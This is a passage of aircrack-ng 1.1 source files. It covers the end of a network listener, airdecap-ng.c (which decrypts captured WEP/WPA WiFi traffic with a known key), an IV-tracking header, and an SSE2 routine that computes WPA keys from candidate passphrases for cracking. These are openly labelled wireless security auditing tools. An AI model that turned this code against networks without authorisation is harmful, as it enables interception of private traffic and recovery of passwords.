htons(S_DEFAULT_UDP_PORT); udp = socket(s_in.sin_family, SOCK_DGRAM, IPPROTO_UDP); if (udp == -1) err(1, "socket(UDP)"); if (bind(udp, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == -1) err(1, "socket(TCP)"); drop = 1; // Do not drop privileges on Windows (doing it fails). if (uname(&utsName) == 0) { drop = strncasecmp(utsName.sysname, "cygwin", 6); } if (drop) drop_privs(); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = INADDR_ANY; len = 1; if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &len, sizeof(len)) == -1) err(1, "setsockopt(SO_REUSEADDR)"); if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); if (listen(s, 5) == -1) err(1, "listen()"); while (1) { len = sizeof(dude_sin); printf("Waiting for connexion\n"); dude = accept(s, (struct sockaddr*) &dude_sin, (socklen_t*) &len); if (dude == -1) err(1, "accept()"); printf("Got connection from %s\n", inet_ntoa(dude_sin.sin_addr)); handle_dude(dude, udp); printf("That was it\n"); } exit(0); } aircrack-ng-1.1/src/airdecap-ng.c0000644000000000000000000006637711357436130015365 0ustar rootroot/* * 802.11 to Ethernet pcap translator * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "osdep/byteorder.h" #include "common.h" #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define CRYPT_WPA 2 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int check_crc_buf( unsigned char *buf, int len ); extern int calc_crc_buf( unsigned char *buf, int len ); char usage[] = "\n" " %s - (C) 2006, 2007, 2008, 2009 Thomas d\'Otreppe\n" " Original work: Christophe Devine\n" " http://www.aircrack-ng.org\n" "\n" " usage: airdecap-ng [options] \n" "\n" " Common options:\n" " -l : don't remove the 802.11 header\n" " -b : access point MAC address filter\n" " -e : target network SSID\n" "\n" " WEP specific option:\n" " -w : target network WEP key in hex\n" "\n" " WPA specific options:\n" " -p : target network WPA passphrase\n" " -k : WPA Pairwise Master Key in hex\n" "\n" " --help : Displays this usage screen\n" "\n"; struct decap_stats { unsigned long nb_read; /* # of packets read */ unsigned long nb_wep; /* # of WEP data packets */ unsigned long nb_bad; /* # of bad data packets */ unsigned long nb_wpa; /* # of WPA data packets */ unsigned long nb_plain; /* # of plaintext packets */ unsigned long nb_unwep; /* # of decrypted WEP pkt */ unsigned long nb_unwpa; /* # of decrypted WPA pkt */ } stats; struct options { int no_convert; char essid[36]; char passphrase[65]; uchar bssid[6]; uchar pmk[40]; uchar wepkey[64]; int weplen, crypt; int store_bad; } opt; uchar buffer[65536]; uchar buffer2[65536]; /* this routine handles to 802.11 to Ethernet translation */ int write_packet( FILE *f_out, struct pcap_pkthdr *pkh, uchar *h80211 ) { int n; uchar arphdr[12]; int qosh_offset = 0; if( opt.no_convert ) { if( buffer != h80211 ) memcpy( buffer, h80211, pkh->caplen ); } else { /* create the Ethernet link layer (MAC dst+src) */ switch( h80211[1] & 3 ) { case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */ memcpy( arphdr + 0, h80211 + 4, 6 ); memcpy( arphdr + 6, h80211 + 10, 6 ); break; case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */ memcpy( arphdr + 0, h80211 + 16, 6 ); memcpy( arphdr + 6, h80211 + 10, 6 ); break; case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */ memcpy( arphdr + 0, h80211 + 4, 6 ); memcpy( arphdr + 6, h80211 + 16, 6 ); break; default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */ memcpy( arphdr + 0, h80211 + 16, 6 ); memcpy( arphdr + 6, h80211 + 24, 6 ); break; } /* check QoS header */ if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { qosh_offset += 2; } /* remove the 802.11 + LLC header */ if( ( h80211[1] & 3 ) != 3 ) { pkh->len -= 24 + qosh_offset + 6; pkh->caplen -= 24 + qosh_offset + 6; memcpy( buffer + 12, h80211 + qosh_offset + 30, pkh->caplen ); } else { pkh->len -= 30 + qosh_offset + 6; pkh->caplen -= 30 + qosh_offset + 6; memcpy( buffer + 12, h80211 + qosh_offset + 36, pkh->caplen ); } memcpy( buffer, arphdr, 12 ); pkh->len += 12; pkh->caplen += 12; } n = sizeof( struct pcap_pkthdr ); if( fwrite( pkh, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } n = pkh->caplen; if( fwrite( buffer, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } return( 0 ); } int main( int argc, char *argv[] ) { time_t tt; uint magic; char *s, buf[128]; FILE *f_in, *f_out, *f_bad=NULL; unsigned long crc; int i = 0, n, z, linktype; uchar ZERO[32], *h80211; uchar bssid[6], stmac[6]; struct WPA_ST_info *st_1st; struct WPA_ST_info *st_cur; struct WPA_ST_info *st_prv; struct pcap_file_header pfh; struct pcap_pkthdr pkh; /* parse the arguments */ memset( ZERO, 0, sizeof( ZERO ) ); memset( &opt, 0, sizeof( opt ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"bssid", 1, 0, 'b'}, {"debug", 1, 0, 'd'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "lb:k:e:p:w:H", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'l' : opt.no_convert = 1; break; case 'b' : i = 0; s = optarg; while( sscanf( s, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.bssid[i] = n; if( ++i >= 6 ) break; if( ! ( s = strchr( s, ':' ) ) ) break; s++; } if( i != 6 ) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'k' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WPA PMK.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.pmk[i++] = n; if( i >= 32 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 32 ) { printf( "Invalid WPA PMK.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'e' : if ( opt.essid[0]) { printf( "ESSID already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); break; case 'p' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; memset( opt.passphrase, 0, sizeof( opt.passphrase ) ); strncpy( opt.passphrase, optarg, sizeof( opt.passphrase ) - 1 ); break; case 'w' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length. [5,13,16,29,61]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'H' : printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); } if( argc - optind == 0) { printf("No file to decrypt specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.crypt == CRYPT_WPA ) { if( opt.passphrase[0] != '\0' ) { /* compute the Pairwise Master Key */ if( opt.essid[0] == '\0' ) { printf( "You must also specify the ESSID (-e).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } calc_pmk( opt.passphrase, opt.essid, opt.pmk ); } } /* open the input and output pcap files */ if( ( f_in = fopen( argv[optind], "rb" ) ) == NULL ) { perror( "fopen failed\n" ); printf( "Could not open \"%s\".\n", argv[optind] ); return( 1 ); } n = sizeof( pfh ); if( fread( &pfh, 1, n, f_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", argv[optind] ); return( 1 ); } if( ( magic = pfh.magic ) == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", argv[optind] ); return( 1 ); } linktype = pfh.linktype; n = strlen( argv[optind] ); if( n > 4 && ( n + 5 < (int) sizeof( buffer ) ) && argv[optind][n - 4] == '.' ) { memcpy( buffer , argv[optind], n - 4 ); memcpy( buffer2, argv[optind], n - 4 ); memcpy( buffer + n - 4, "-dec", 4 ); memcpy( buffer2 + n - 4, "-bad", 4 ); memcpy( buffer + n, argv[optind] + n - 4, 5 ); memcpy( buffer2 + n, argv[optind] + n - 4, 5 ); } else { if( n > 5 && ( n + 6 < (int) sizeof( buffer ) ) && argv[optind][n - 5] == '.' ) { memcpy( buffer , argv[optind], n - 5 ); memcpy( buffer2, argv[optind], n - 5 ); memcpy( buffer + n - 5, "-dec", 4 ); memcpy( buffer2 + n - 5, "-bad", 4 ); memcpy( buffer + n - 1, argv[optind] + n - 5, 6 ); memcpy( buffer2 + n - 1, argv[optind] + n - 5, 6 ); } else { memset( buffer , 0, sizeof( buffer ) ); memset( buffer2, 0, sizeof( buffer ) ); snprintf( (char *) buffer , sizeof( buffer ) - 1, "%s-dec", argv[optind] ); snprintf( (char *) buffer2, sizeof( buffer ) - 1, "%s-bad", argv[optind] ); } } if( opt.crypt == CRYPT_WEP && opt.no_convert == 1 ) { opt.store_bad=1; } if( ( f_out = fopen( (char *) buffer, "wb+" ) ) == NULL ) { perror( "fopen failed" ); printf( "Could not create \"%s\".\n", buffer ); return( 1 ); } if(opt.store_bad) { if( ( f_bad = fopen( (char *) buffer2, "wb+" ) ) == NULL ) { perror( "fopen failed" ); printf( "Could not create \"%s\".\n", buffer2 ); return( 1 ); } } pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = ( opt.no_convert ) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET; n = sizeof( pfh ); if( fwrite( &pfh, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } if(opt.store_bad) { if( fwrite( &pfh, 1, n, f_bad ) != (size_t) n ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } /* loop reading and deciphering the packets */ memset( &stats, 0, sizeof( stats ) ); tt = time( NULL ); st_1st = NULL; while( 1 ) { if( time( NULL ) - tt > 0 ) { /* update the status line every second */ printf( "\33[KRead %ld packets...\r", stats.nb_read ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_in ) != (size_t) n ) break; if( magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); n = pkh.caplen; if( n <= 0 || n > 65535 ) { printf( "Corrupted file? Invalid packet length %d.\n", n ); break; } if( fread( buffer, 1, n, f_in ) != (size_t) n ) break; stats.nb_read++; h80211 = buffer; if( linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; /* prism54 */ else { n = *(int *)( h80211 + 4 ); if( magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } /* remove the FCS if present (madwifi) */ if( check_crc_buf( h80211, pkh.caplen - 4 ) == 1 ) { pkh.len -= 4; pkh.caplen -= 4; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) continue; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 16 > (int) pkh.caplen ) continue; /* check QoS header */ if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } /* check the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp( opt.bssid, ZERO, 6 ) != 0 ) if( memcmp( opt.bssid, bssid, 6 ) != 0 ) continue; /* locate the station's MAC address */ switch( h80211[1] & 3 ) { case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: memcpy( stmac, h80211 + 4, 6 ); break; case 3: memcpy( stmac, h80211 + 10, 6 ); break; default: continue; } st_prv = NULL; st_cur = st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new station, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct WPA_ST_info *) malloc( sizeof( struct WPA_ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct WPA_ST_info ) ); if( st_1st == NULL ) st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); memcpy( st_cur->bssid, bssid, 6 ); } /* check if we haven't already processed this packet */ crc = calc_crc_buf( h80211 + z, pkh.caplen - z ); if( ( h80211[1] & 3 ) == 2 ) { if( st_cur->t_crc == crc ) continue; st_cur->t_crc = crc; } else { if( st_cur->f_crc == crc ) continue; st_cur->f_crc = crc; } /* check the SNAP header to see if data is encrypted * * as unencrypted data begins with AA AA 03 00 00 00 */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) { uchar K[64]; stats.nb_wep++; if( opt.crypt != CRYPT_WEP ) continue; memcpy( K, h80211 + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if(opt.store_bad) memcpy(buffer2, h80211, pkh.caplen); if( decrypt_wep( h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen ) == 0 ) { if(opt.store_bad) { stats.nb_bad++; memcpy(h80211, buffer2, pkh.caplen); if( write_packet( f_bad, &pkh, h80211 ) != 0 ) break; } continue; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ pkh.len -= 8; pkh.caplen -= 8; memcpy( h80211 + z, h80211 + z + 4, pkh.caplen - z ); stats.nb_unwep++; h80211[1] &= 0xBF; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; } else { stats.nb_wpa++; if( opt.crypt != CRYPT_WPA ) continue; /* if the PTK is valid, try to decrypt */ if( st_cur == NULL || ! st_cur->valid_ptk ) continue; if( st_cur->keyver == 1 ) { if( decrypt_tkip( h80211, pkh.caplen, st_cur->ptk + 32 ) == 0 ) continue; pkh.len -= 20; pkh.caplen -= 20; } else { if( decrypt_ccmp( h80211, pkh.caplen, st_cur->ptk + 32 ) == 0 ) continue; pkh.len -= 16; pkh.caplen -= 16; } /* WPA data packet was successfully decrypted, * * remove the WPA Ext.IV & MIC, write the data */ memcpy( h80211 + z, h80211 + z + 8, pkh.caplen - z ); stats.nb_unwpa++; h80211[1] &= 0xBF; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; } } else { /* check ethertype == EAPOL */ z += 6; if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) { stats.nb_plain++; if( opt.crypt != CRYPT_NONE ) continue; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; else continue; } z += 2; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) continue; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &h80211[z + 17], 32 ); } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { /* set supplicant nonce */ memcpy( st_cur->snonce, &h80211[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0) { // Ignore the packet trying to crash us. continue; } memcpy( st_cur->keymic, &h80211[z + 81], 16 ); memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = h80211[z + 6] & 7; } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &h80211[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0) { // Ignore the packet trying to crash us. continue; } memcpy( st_cur->keymic, &h80211[z + 81], 16 ); memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = h80211[z + 6] & 7; } st_cur->valid_ptk = calc_ptk( st_cur, opt.pmk ); } } fclose( f_in ); fclose( f_out ); if(opt.store_bad) fclose( f_bad ); /* write some statistics */ printf( "\33[KTotal number of packets read % 8ld\n" "Total number of WEP data packets % 8ld\n" "Total number of WPA data packets % 8ld\n" "Number of plaintext data packets % 8ld\n" "Number of decrypted WEP packets % 8ld\n" "Number of corrupted WEP packets % 8ld\n" "Number of decrypted WPA packets % 8ld\n", stats.nb_read, stats.nb_wep, stats.nb_wpa, stats.nb_plain, stats.nb_unwep, stats.nb_bad, stats.nb_unwpa ); return( 0 ); } aircrack-ng-1.1/src/uniqueiv.h0000644000000000000000000000127610761053203015042 0ustar rootroot#ifndef _UNIQUEIV_H #define _UNIQUEIV_H #define IV_NOTHERE 0 #define IV_PRESENT 1 /* select byte within which desired bit is located */ #define BITWISE_OFFT(x) (x >> 3) /* mask to extract desired bit */ #define BITWISE_MASK(x) (1 << (x & 7)) unsigned char **uniqueiv_init( void ); int uniqueiv_mark( unsigned char **uiv_root, unsigned char IV[3] ); int uniqueiv_check( unsigned char **uiv_root, unsigned char IV[3] ); void uniqueiv_wipe( unsigned char **uiv_root ); #define NO_CLOAKING 0 #define CLOAKING 1 unsigned char *data_init( void ); int data_check(unsigned char *data_root, unsigned char IV[3], unsigned char data[2]); void data_wipe(unsigned char * data); #endif aircrack-ng-1.1/src/sha1-sse2.h0000644000000000000000000001671311215026345014707 0ustar rootroot /* nx5 - C code for SSE2 (i386) optimized SHA1 */ #include #include #include #include #ifndef uchar #define uchar unsigned char #endif #include "crypto.h" #if defined(__i386__) || defined(__x86_64__) void show_result(char* key, uchar* pmk) { int i; printf("%-14s ", key); for (i=0; i<32; i++) printf("%.2X", pmk[i]); printf("\n"); } extern int shasse2_init( uchar ctx[80] ) __attribute__((regparm(1))); extern int shasse2_ends( uchar ctx[80], uchar digests[80] ) __attribute__((regparm(2))); extern int shasse2_data( uchar ctx[80], uchar data[256], uchar buf[1280] ) __attribute__((regparm(3))); extern int shasse2_cpuid( void ); void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, uchar* _pmk1, uchar* _pmk2, uchar* _pmk3, uchar* _pmk4) { int slen; char essid[36] __attribute__ ((aligned (16))); char key1[128] __attribute__ ((aligned (16))); char key2[128] __attribute__ ((aligned (16))); char key3[128] __attribute__ ((aligned (16))); char key4[128] __attribute__ ((aligned (16))); uchar pmks[128*4] __attribute__ ((aligned (16))); // All in double size uchar k_ipad[256] __attribute__ ((aligned (16))); uchar ctx_ipad[80] __attribute__ ((aligned (16))); uchar k_opad[256] __attribute__ ((aligned (16))); uchar ctx_opad[80] __attribute__ ((aligned (16))); uchar buffer[256] __attribute__ ((aligned (16))); uchar sha1_ctx[80] __attribute__ ((aligned (16))); uchar wrkbuf[1280] __attribute__ ((aligned (16))); uint i, *u, *v, *w, *u3, *v4; uchar *pmk1, *pmk2, *pmk3, *pmk4; pmk1=pmks; pmk2=pmks+128; pmk3=pmks+128*2; pmk4=pmks+128*3; strncpy(essid, _essid, 35); strncpy(key1, _key1, 127); strncpy(key2, _key2, 127); strncpy(key3, _key3, 127); strncpy(key4, _key4, 127); slen = strlen( essid ) + 4; /* SSE2 available, so compute four PMKs in a single row */ memset( k_ipad, 0, sizeof( k_ipad ) ); memset( k_opad, 0, sizeof( k_opad ) ); memcpy( k_ipad, key1, strlen( key1 ) ); memcpy( k_opad, key1, strlen( key1 ) ); memcpy( k_ipad + 64, key2, strlen( key2 ) ); memcpy( k_opad + 64, key2, strlen( key2 ) ); memcpy( k_ipad + 128, key3, strlen( key3 ) ); memcpy( k_opad + 128, key3, strlen( key3 ) ); memcpy( k_ipad + 192, key4, strlen( key4 ) ); memcpy( k_opad + 192, key4, strlen( key4 ) ); u = (uint *) ( k_ipad ); v = (uint *) ( k_ipad + 64 ); u3 = (uint *) ( k_ipad + 128 ); v4 = (uint *) ( k_ipad + 192 ); w = (uint *) buffer; for( i = 0; i < 16; i++ ) { /* interleave the data */ *w++ = *u++ ^ 0x36363636; *w++ = *v++ ^ 0x36363636; *w++ = *u3++ ^ 0x36363636; *w++ = *v4++ ^ 0x36363636; } shasse2_init( ctx_ipad ); shasse2_data( ctx_ipad, buffer, wrkbuf ); u = (uint *) ( k_opad ); v = (uint *) ( k_opad + 64 ); u3 = (uint *) ( k_opad + 128 ); v4 = (uint *) ( k_opad + 192 ); w = (uint *) buffer; for( i = 0; i < 16; i++ ) { *w++ = *u++ ^ 0x5C5C5C5C; *w++ = *v++ ^ 0x5C5C5C5C; *w++ = *u3++ ^ 0x5C5C5C5C; *w++ = *v4++ ^ 0x5C5C5C5C; } shasse2_init( ctx_opad ); shasse2_data( ctx_opad, buffer, wrkbuf ); memset( buffer, 0, sizeof( buffer ) ); buffer[ 80] = buffer[ 84] = buffer[ 88] = buffer[ 92] = 0x80; buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02; buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0; essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (uchar *)key1, strlen(key1), (uchar*)essid, slen, pmk1, NULL); HMAC(EVP_sha1(), (uchar *)key2, strlen(key2), (uchar*)essid, slen, pmk2, NULL); HMAC(EVP_sha1(), (uchar *)key3, strlen(key3), (uchar*)essid, slen, pmk3, NULL); HMAC(EVP_sha1(), (uchar *)key4, strlen(key4), (uchar*)essid, slen, pmk4, NULL); u = (uint *) pmk1; v = (uint *) pmk2; u3 = (uint *) pmk3; v4 = (uint *) pmk4; w = (uint *) buffer; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; for( i = 1; i < 4096; i++ ) { memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40 shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); memcpy( sha1_ctx, ctx_opad, 80 ); shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); u = (uint *) pmk1; v = (uint *) pmk2; u3 = (uint *) pmk3; v4 = (uint *) pmk4; w = (uint *) buffer; /* de-interleave the digests */ *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (uchar *)key1, strlen(key1), (uchar*)essid, slen, pmk1 + 20, NULL); HMAC(EVP_sha1(), (uchar *)key2, strlen(key2), (uchar*)essid, slen, pmk2 + 20, NULL); HMAC(EVP_sha1(), (uchar *)key3, strlen(key3), (uchar*)essid, slen, pmk3 + 20, NULL); HMAC(EVP_sha1(), (uchar *)key4, strlen(key4), (uchar*)essid, slen, pmk4 + 20, NULL); u = (uint *) ( pmk1 + 20 ); // eran 20 v = (uint *) ( pmk2 + 20 ); u3 = (uint *) ( pmk3 + 20 ); // eran 20 v4 = (uint *) ( pmk4 + 20 ); w = (uint *) buffer; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; for( i = 1; i < 4096; i++ ) { memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40 shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); memcpy( sha1_ctx, ctx_opad, 80 ); shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); u = (uint *) ( pmk1 + 20 ); //eran 20 v = (uint *) ( pmk2 + 20 ); u3 = (uint *) ( pmk3 + 20 ); v4 = (uint *) ( pmk4 + 20 ); w 